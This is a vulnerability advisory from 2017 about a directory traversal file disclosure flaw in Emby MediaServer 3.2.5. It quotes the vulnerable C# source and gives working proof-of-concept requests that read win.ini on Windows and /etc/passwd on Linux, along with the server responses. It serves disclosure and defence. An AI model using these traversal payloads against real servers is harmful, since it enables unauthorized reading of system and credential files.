Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability

2017.04.30
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability Vendor: Emby LLC Product web page: https://www.emby.media Affected version: 3.2.5 3.1.5 3.1.2 3.1.1 3.1.0 3.0.0 Summary: Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center. Desc: The vulnerability was confirmed on tested platforms depending on the version. Version 3.1.0 is affecting Linux, Windows and Mac platforms. The 3.2.5 only affects Windows release. Input passed via the 'swagger-ui' object in SwaggerService.cs is not properly verified before being used to load resources. This can be exploited to disclose the contents of arbitrary files via directory traversal attacks. ================================================================================ /Emby.Server.Implementations/HttpServer/SwaggerService.cs: ---------------------------------------------------------- using MediaBrowser.Controller; using MediaBrowser.Controller.Net; using System.IO; using MediaBrowser.Model.IO; using MediaBrowser.Model.Services; namespace Emby.Server.Implementations.HttpServer { public class SwaggerService : IService, IRequiresRequest { private readonly IServerApplicationPaths _appPaths; private readonly IFileSystem _fileSystem; public SwaggerService(IServerApplicationPaths appPaths, IFileSystem fileSystem, IHttpResultFactory resultFactory) { _appPaths = appPaths; _fileSystem = fileSystem; _resultFactory = resultFactory; } /// <summary> /// Gets the specified request. /// </summary> /// <param name="request">The request.</param> /// <returns>System.Object.</returns> public object Get(GetSwaggerResource request) { var swaggerDirectory = Path.Combine(_appPaths.ApplicationResourcesPath, "swagger-ui"); var requestedFile = Path.Combine(swaggerDirectory, request.ResourceName.Replace('/', _fileSystem.DirectorySeparatorChar)); return _resultFactory.GetStaticFileResult(Request, requestedFile).Result; } /// <summary> /// Gets or sets the result factory. /// </summary> /// <value>The result factory.</value> private readonly IHttpResultFactory _resultFactory; /// <summary> /// Gets or sets the request context. /// </summary> /// <value>The request context.</value> public IRequest Request { get; set; } } } ================================================================================ Tested on: Microsoft Windows 7 Professional SP1 (EN) Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 Ubuntu Linux 14.04.5 MacOS Sierra 10.12.3 SQLite3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5403 Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5403.php SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098 22.12.2016 -- GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 HTTP/1.1 200 OK X-UA-Compatible: IE=Edge Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Origin: * Vary: Accept-Encoding ETag: "07bec80f76d20d26dd300a855219d321" Cache-Control: public Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 Content-Type: application/octet-stream Date: Thu, 22 Dec 2016 10:43:53 GMT Content-Length: 403 Connection: close ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo ========================== On Linux: http://127.0.0.1/%2femby%2fswagger-ui%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... ...

References:

http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5403.php


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